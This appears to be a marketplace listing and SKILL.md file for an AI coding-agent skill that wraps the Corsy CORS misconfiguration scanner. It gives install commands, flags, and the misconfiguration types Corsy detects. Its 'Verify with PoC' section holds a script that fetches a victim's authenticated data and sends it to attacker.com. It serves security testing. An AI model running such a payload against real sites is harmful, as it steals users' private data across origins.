aeondave/corsy
offensive-tools/web-app/corsy/SKILL.md
CORS misconfiguration scanner that detects exploitable cross-origin resource sharing issues. Use when testing web apps for CORS vulnerabilities that could allow cross-origin data theft.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill corsyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: Mar 31, 2026, 9:38 PM58.3s1 file scanned
SKILL.md
- name:
- corsy
- description:
- CORS misconfiguration scanner that detects exploitable cross-origin resource sharing issues. Use when testing web apps for CORS vulnerabilities that could allow cross-origin data theft.
- license:
- MIT
- compatibility:
- Python 3; pip install corsy; Linux/macOS/Windows; github.com/s0md3v/Corsy
- author:
- AeonDave
- version:
- 1.0
Corsy
CORS misconfiguration scanner — detect exploitable cross-origin policy flaws.
Quick Start
pip install corsy
# Single URL
corsy -u https://target.com
# With authentication
corsy -u https://target.com -H "Authorization: Bearer TOKEN"
# Bulk scan from file
corsy -i urls.txt
# Output to JSON
corsy -u https://target.com --json > cors.json
Core Flags
| Flag | Purpose |
|------|---------|
| -u URL | Target URL |
| -i FILE | Input file with URLs |
| -H "K:V" | Custom header |
| -t N | Threads |
| -d N | Delay between requests (ms) |
| -q | Quiet (no banner) |
| --json | JSON output |
CORS Misconfig Types Detected
| Type | Condition |
|------|-----------|
| Reflected Origin | Any origin reflected back |
| Trusted Null | null origin trusted |
| Prefix Match | eviltarget.com accepted when target.com trusted |
| Suffix Match | notatarget.com accepted |
| Trusted Subdomain | All subdomains trusted |
| HTTP allowed | HTTP origin trusted on HTTPS endpoint |
Common Workflows
Scan authenticated endpoint:
corsy -u https://api.target.com/user/profile -H "Cookie: session=abc123"
Verify with PoC:
<script>
fetch('https://api.target.com/user/data', {credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://attacker.com?d='+btoa(d)))
</script>
Resources
| File | When to load |
|------|--------------|
| references/ | CORS exploit PoC templates |
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